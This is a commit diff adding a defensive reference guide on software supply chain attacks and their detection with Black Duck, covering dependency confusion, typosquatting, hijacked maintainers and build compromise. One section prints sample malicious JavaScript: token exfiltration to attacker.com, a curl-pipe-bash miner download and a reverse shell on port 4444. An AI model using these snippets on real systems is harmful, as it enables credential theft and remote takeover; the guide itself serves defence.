Initial commit

2025-11-29 17:51:02 +08:00
commit ff1f4bd119
252 changed files with 72682 additions and 0 deletions
--- a/skills/appsec/sca-blackduck/references/supply_chain_threats.md
+++ b/skills/appsec/sca-blackduck/references/supply_chain_threats.md
@@ -0,0 +1,588 @@
+# Supply Chain Security Threats
+
+## Table of Contents
+- [Threat Overview](#threat-overview)
+- [Attack Vectors](#attack-vectors)
+- [Detection Strategies](#detection-strategies)
+- [Prevention and Mitigation](#prevention-and-mitigation)
+- [Incident Response](#incident-response)
+
+## Threat Overview
+
+Supply chain attacks target the software dependency ecosystem to compromise applications through malicious or vulnerable third-party components.
+
+**Impact**: Critical - can affect thousands of downstream users
+**Trend**: Increasing rapidly (651% increase 2021-2022)
+**MITRE ATT&CK**: T1195 - Supply Chain Compromise
+
+### Attack Categories
+
+1. **Compromised Dependencies** - Legitimate packages backdoored by attackers
+2. **Typosquatting** - Malicious packages with similar names
+3. **Dependency Confusion** - Exploiting package resolution order
+4. **Malicious Maintainers** - Attackers become maintainers
+5. **Build System Compromise** - Injection during build/release process
+
+## Attack Vectors
+
+### 1. Dependency Confusion
+
+**MITRE ATT&CK**: T1195.001
+**CWE**: CWE-494 (Download of Code Without Integrity Check)
+
+**Attack Description**:
+Attackers publish malicious packages to public registries with same name as internal packages. Package managers may install public version instead of internal.
+
+**Real-World Examples**:
+- **2021**: Researcher demonstrated by uploading packages mimicking internal names at Microsoft, Apple, PayPal
+- **Impact**: Potential code execution on build servers
+
+**Attack Pattern**:
+```
+Internal Package Registry (private):
+  - company-auth-lib@1.0.0
+
+Public Registry (npmjs.com):
+  - company-auth-lib@99.0.0 (MALICIOUS)
+
+Package manager resolution:
+  npm install company-auth-lib
+  → Installs v99.0.0 from public registry (higher version)
+```
+
+**Detection with Black Duck**:
+- Unexpected package source changes
+- Version spikes (jumping from 1.x to 99.x)
+- Multiple registries for same package
+- New publishers for established packages
+
+**Prevention**:
+```bash
+# npm - use scoped packages for internal code
+npm config set @company:registry https://npm.internal.company.com
+
+# Configure .npmrc to prefer internal registry
+@company:registry=https://npm.internal.company.com
+registry=https://registry.npmjs.org
+
+# Python - use index-url for internal PyPI
+pip install --index-url https://pypi.internal.company.com package-name
+
+# Maven - repository order matters
+<repositories>
+    <repository>
+        <id>company-internal</id>
+        <url>https://maven.internal.company.com</url>
+    </repository>
+</repositories>
+```
+
+**Mitigation**:
+- Use scoped/namespaced packages (@company/package-name)
+- Configure package manager to prefer internal registry
+- Reserve public names for internal packages
+- Implement allowlists for external packages
+- Pin dependency versions
+
+### 2. Typosquatting
+
+**MITRE ATT&CK**: T1195.001
+**CWE**: CWE-829 (Untrusted Control Sphere)
+
+**Attack Description**:
+Malicious packages with names similar to popular packages, relying on typos during installation.
+
+**Real-World Examples**:
+- **crossenv** (mimicking cross-env) - 700+ downloads before removal
+- **electorn** (mimicking electron) - credential stealer
+- **python3-dateutil** (mimicking python-dateutil) - cryptominer
+
+**Common Typosquatting Patterns**:
+- Missing/extra character: `reqeusts` vs `requests`
+- Substituted character: `requsts` vs `requests`
+- Transposed characters: `reqeusts` vs `requests`
+- Homoglyphs: `requ𝗲sts` vs `requests` (Unicode lookalikes)
+- Namespace confusion: `@npm/lodash` vs `lodash`
+
+**Detection**:
+- Levenshtein distance analysis on new dependencies
+- Check package popularity and age
+- Review package maintainer history
+- Verify package repository URL
+
+**Black Duck Detection**:
+```python
+# Component quality indicators
+- Download count (typosquats typically low)
+- Creation date (recent for established functionality)
+- Maintainer reputation
+- GitHub stars/forks (legitimate packages have more)
+```
+
+**Prevention**:
+- Use dependency lock files (package-lock.json, yarn.lock)
+- Code review for new dependencies
+- Automated typosquatting detection tools
+- IDE autocomplete from verified sources
+
+### 3. Compromised Maintainer Accounts
+
+**MITRE ATT&CK**: T1195.002
+**CWE**: CWE-1294 (Insecure Security Identifier)
+
+**Attack Description**:
+Attackers gain access to legitimate maintainer accounts through credential compromise, then publish malicious versions.
+
+**Real-World Examples**:
+- **event-stream (2018)**: Maintainer handed over to attacker, malicious code added
+- **ua-parser-js (2021)**: Hijacked to deploy cryptocurrency miner
+- **coa, rc (2021)**: Password spraying attack on maintainer accounts
+
+**Attack Indicators**:
+- Unexpected version releases
+- New maintainers added
+- Changed package repository URLs
+- Sudden dependency additions
+- Obfuscated code in updates
+- Behavioral changes (network calls, file system access)
+
+**Detection with Black Duck**:
+```
+Monitor for:
+- Maintainer changes
+- Unusual release patterns
+- Security score degradation
+- New external dependencies
+- Build process changes
+```
+
+**Prevention**:
+- Enable 2FA/MFA for registry accounts
+- Use hardware security keys
+- Registry account monitoring/alerts
+- Code signing for packages
+- Review release process changes
+
+### 4. Malicious Dependencies (Direct Injection)
+
+**MITRE ATT&CK**: T1195.001
+
+**Attack Description**:
+Entirely malicious packages created by attackers, often using SEO or social engineering to drive adoption.
+
+**Real-World Examples**:
+- **event-stream → flatmap-stream (2018)**: Injected Bitcoin wallet stealer
+- **bootstrap-sass (malicious version)**: Credential harvester
+- **eslint-scope (2018)**: Credential stealer via compromised account
+
+**Common Malicious Behaviors**:
+- Credential harvesting (env vars, config files)
+- Cryptocurrency mining
+- Backdoor installation
+- Data exfiltration
+- Command & control communication
+
+**Example Malicious Code Patterns**:
+```javascript
+// Environment variable exfiltration
+const secrets = {
+    npm_token: process.env.NPM_TOKEN,
+    aws_key: process.env.AWS_ACCESS_KEY_ID,
+    github_token: process.env.GITHUB_TOKEN
+};
+fetch('https://attacker.com/collect', {
+    method: 'POST',
+    body: JSON.stringify(secrets)
+});
+
+// Cryptocurrency miner
+const { exec } = require('child_process');
+exec('curl http://attacker.com/miner.sh | bash');
+
+// Backdoor
+const net = require('net');
+const { spawn } = require('child_process');
+const shell = spawn('/bin/bash', []);
+net.connect(4444, 'attacker.com', function() {
+    this.pipe(shell.stdin);
+    shell.stdout.pipe(this);
+});
+```
+
+**Detection**:
+- Network activity during install (install scripts shouldn't make external calls)
+- File system modifications outside package directory
+- Process spawning during installation
+- Obfuscated or minified code in source packages
+- Suspicious dependencies for package scope
+
+**Black Duck Indicators**:
+- Low community adoption for claimed functionality
+- Recent creation date
+- Lack of GitHub repository or activity
+- Poor code quality metrics
+- No documentation or minimal README
+
+### 5. Build System Compromise
+
+**MITRE ATT&CK**: T1195.003
+**CWE**: CWE-494
+
+**Attack Description**:
+Compromising the build or release infrastructure to inject malicious code during the build process.
+
+**Real-World Examples**:
+- **SolarWinds (2020)**: Build system compromise led to trojanized software updates
+- **Codecov (2021)**: Bash uploader script modified to exfiltrate credentials
+
+**Attack Vectors**:
+- Compromised CI/CD credentials
+- Malicious CI/CD pipeline configurations
+- Compromised build dependencies
+- Registry credential theft during build
+- Artifact repository compromise
+
+**Detection**:
+- Reproducible builds (verify build output matches)
+- Build artifact signing and verification
+- Supply chain levels for software artifacts (SLSA)
+- Build provenance tracking
+
+**Prevention**:
+- Secure CI/CD infrastructure
+- Minimal build environment (containers)
+- Secret management (avoid env vars in logs)
+- Build isolation and sandboxing
+- SBOM generation at build time
+
+## Detection Strategies
+
+### Static Analysis Indicators
+
+**Package Metadata Analysis**:
+```python
+# Black Duck provides these metrics
+suspicious_indicators = {
+    "recent_creation": age_days < 30,
+    "low_adoption": downloads < 100,
+    "no_repository": github_url == None,
+    "new_maintainer": maintainer_age < 90,
+    "version_spike": version > expected + 50,
+    "abandoned": last_update_days > 730
+}
+```
+
+### Behavioral Analysis
+
+**Runtime Monitoring**:
+- Network connections during install
+- File system access outside package directory
+- Process spawning (especially child processes)
+- Environment variable access
+- Encrypted/obfuscated payloads
+
+**Example Detection Script**:
+```bash
+#!/bin/bash
+# Monitor package installation for suspicious behavior
+
+strace -f -e trace=network,process,file npm install suspicious-package 2>&1 | \
+    grep -E "(connect|sendto|execve|openat)" | \
+    grep -v "npmjs.org\|yarnpkg.com"  # Exclude legitimate registries
+
+# Any network activity to non-registry domains during install is suspicious
+```
+
+### Dependency Graph Analysis
+
+**Transitive Dependency Risk**:
+```
+Your App
+├── legitimate-package@1.0.0
+│   └── utility-lib@2.0.0 (✓ Safe)
+│       └── string-helper@1.0.0 (⚠️ Recently added)
+│           └── unknown-package@99.0.0 (❌ SUSPICIOUS)
+```
+
+**Black Duck Features**:
+- Full dependency tree visualization
+- Transitive vulnerability detection
+- Component risk scoring
+- Supply chain risk assessment
+
+## Prevention and Mitigation
+
+### 1. Dependency Vetting Process
+
+**Before Adding Dependency**:
+```markdown
+# Dependency Vetting Checklist
+
+- [ ] Active maintenance (commits within 3 months)
+- [ ] Sufficient adoption (downloads, GitHub stars)
+- [ ] Code repository available and reviewed
+- [ ] Recent security audit or assessment
+- [ ] Compatible license
+- [ ] Minimal transitive dependencies
+- [ ] No known vulnerabilities (Black Duck scan)
+- [ ] Maintainer reputation verified
+- [ ] Reasonable package size
+- [ ] Documentation quality adequate
+```
+
+**Automated Checks**:
+```bash
+#!/bin/bash
+# Automated dependency vetting
+
+PACKAGE=$1
+
+# Check age and popularity
+npm view $PACKAGE time.created downloads
+
+# Check for known vulnerabilities
+npm audit
+
+# Black Duck scan
+scripts/blackduck_scan.py --project temp-vet --version 1.0.0
+
+# Check for typosquatting
+python3 -c "
+import Levenshtein
+from package_registry import get_popular_packages
+
+popular = get_popular_packages()
+for pkg in popular:
+    distance = Levenshtein.distance('$PACKAGE', pkg)
+    if distance <= 2:
+        print(f'⚠️  Similar to {pkg} (distance: {distance})')
+"
+```
+
+### 2. Dependency Pinning and Lock Files
+
+**Always use lock files**:
+```json
+// package.json - use exact versions for security-critical deps
+{
+  "dependencies": {
+    "critical-auth-lib": "1.2.3",  // Exact version
+    "utility-lib": "^2.0.0"        // Allow minor updates
+  }
+}
+```
+
+**Commit lock files**:
+- package-lock.json (npm)
+- yarn.lock (Yarn)
+- Pipfile.lock (Python)
+- Gemfile.lock (Ruby)
+- go.sum (Go)
+
+### 3. Subresource Integrity (SRI)
+
+**For CDN-loaded dependencies**:
+```html
+<!-- Use SRI hashes for external scripts -->
+<script
+    src="https://cdn.example.com/library.js"
+    integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
+    crossorigin="anonymous">
+</script>
+```
+
+### 4. Private Package Registry
+
+**Benefits**:
+- Control over approved packages
+- Caching for availability
+- Internal package distribution
+- Security scanning integration
+
+**Solutions**:
+- Artifactory (JFrog)
+- Nexus Repository
+- Azure Artifacts
+- AWS CodeArtifact
+- GitHub Packages
+
+**Configuration Example (npm)**:
+```bash
+# .npmrc
+registry=https://artifactory.company.com/api/npm/npm-virtual/
+@company:registry=https://artifactory.company.com/api/npm/npm-internal/
+
+# Always authenticate
+always-auth=true
+```
+
+### 5. Continuous Monitoring
+
+**Automated Scanning**:
+```yaml
+# .github/workflows/dependency-scan.yml
+name: Dependency Security Scan
+
+on:
+  schedule:
+    - cron: '0 0 * * *'  # Daily
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  scan:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v3
+
+      - name: Black Duck Scan
+        run: |
+          scripts/blackduck_scan.py \
+            --project ${{ github.repository }} \
+            --version ${{ github.sha }} \
+            --fail-on-policy
+
+      - name: Check for new dependencies
+        run: |
+          git diff origin/main -- package.json | \
+            grep "^+" | grep -v "^+++" | \
+            while read line; do
+              echo "⚠️  New dependency requires review: $line"
+            done
+```
+
+### 6. Runtime Protection
+
+**Application-level**:
+```javascript
+// Freeze object prototypes to prevent pollution
+Object.freeze(Object.prototype);
+Object.freeze(Array.prototype);
+
+// Restrict network access for dependencies (if possible)
+// Use Content Security Policy (CSP) for web apps
+
+// Monitor unexpected behavior
+process.on('warning', (warning) => {
+    if (warning.name === 'DeprecationWarning') {
+        // Log and alert on deprecated API usage
+        securityLog.warn('Deprecated API used', { warning });
+    }
+});
+```
+
+**Container-level**:
+```dockerfile
+# Use minimal base images
+FROM node:18-alpine
+
+# Run as non-root
+USER node
+
+# Read-only file system where possible
+VOLUME /app
+WORKDIR /app
+
+# No network access during build
+RUN --network=none npm ci
+```
+
+## Incident Response
+
+### Detection Phase
+
+**Indicators of Compromise**:
+1. Black Duck alerts on component changes
+2. Unexpected network traffic from application
+3. CPU/memory spikes (cryptocurrency mining)
+4. Security tool alerts
+5. Credential compromise reports
+6. Customer reports of suspicious behavior
+
+### Containment
+
+**Immediate Actions**:
+1. **Isolate**: Remove affected application from network
+2. **Inventory**: Identify all systems using compromised dependency
+3. **Block**: Add malicious package to blocklist
+4. **Rotate**: Rotate all credentials that may have been exposed
+
+```bash
+# Emergency response script
+#!/bin/bash
+
+MALICIOUS_PACKAGE=$1
+
+# 1. Block package in registry
+curl -X POST https://artifactory/api/blocklist \
+    -d "{\"package\": \"$MALICIOUS_PACKAGE\"}"
+
+# 2. Find all projects using it
+find /repos -name package.json -exec \
+    grep -l "$MALICIOUS_PACKAGE" {} \;
+
+# 3. Emergency notification
+send_alert "CRITICAL: Supply chain compromise detected - $MALICIOUS_PACKAGE"
+
+# 4. Rotate secrets
+./rotate_all_credentials.sh
+
+# 5. Re-scan all projects
+for project in $(get_all_projects); do
+    scripts/blackduck_scan.py --project $project --emergency-scan
+done
+```
+
+### Eradication
+
+1. **Remove** malicious dependency
+2. **Replace** with safe alternative or version
+3. **Re-scan** with Black Duck to confirm
+4. **Review** logs for malicious activity
+5. **Rebuild** from clean state
+
+### Recovery
+
+1. **Deploy** patched version
+2. **Monitor** for continued malicious activity
+3. **Verify** integrity of application
+4. **Restore** from backup if necessary
+
+### Post-Incident
+
+**Root Cause Analysis**:
+- How did malicious package enter supply chain?
+- What controls failed?
+- What was the impact?
+
+**Improvements**:
+- Update vetting procedures
+- Enhance monitoring
+- Additional training
+- Technical controls
+
+## Tools and Resources
+
+**Detection Tools**:
+- **Synopsys Black Duck**: Comprehensive SCA with supply chain risk
+- **Socket.dev**: Real-time supply chain attack detection
+- **Snyk**: Vulnerability and license scanning
+- **Checkmarx SCA**: Software composition analysis
+
+**Best Practices**:
+- [CISA Supply Chain Guidance](https://www.cisa.gov/supply-chain)
+- [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
+- [SLSA Framework](https://slsa.dev/)
+- [OWASP Dependency Check](https://owasp.org/www-project-dependency-check/)
+
+**Incident Databases**:
+- [Supply Chain Compromises](https://github.com/IQTLabs/software-supply-chain-compromises)
+- [Backstabber's Knife Collection](https://dasfreak.github.io/Backstabbers-Knife-Collection/)
+
+## References
+
+- [Sonatype 2022 State of Software Supply Chain](https://www.sonatype.com/state-of-the-software-supply-chain)
+- [MITRE ATT&CK - Supply Chain Compromise](https://attack.mitre.org/techniques/T1195/)
+- [NIST SSDF](https://csrc.nist.gov/publications/detail/sp/800-218/final)
+- [Linux Foundation - Securing the Software Supply Chain](https://www.linuxfoundation.org/resources/publications/securing-the-software-supply-chain)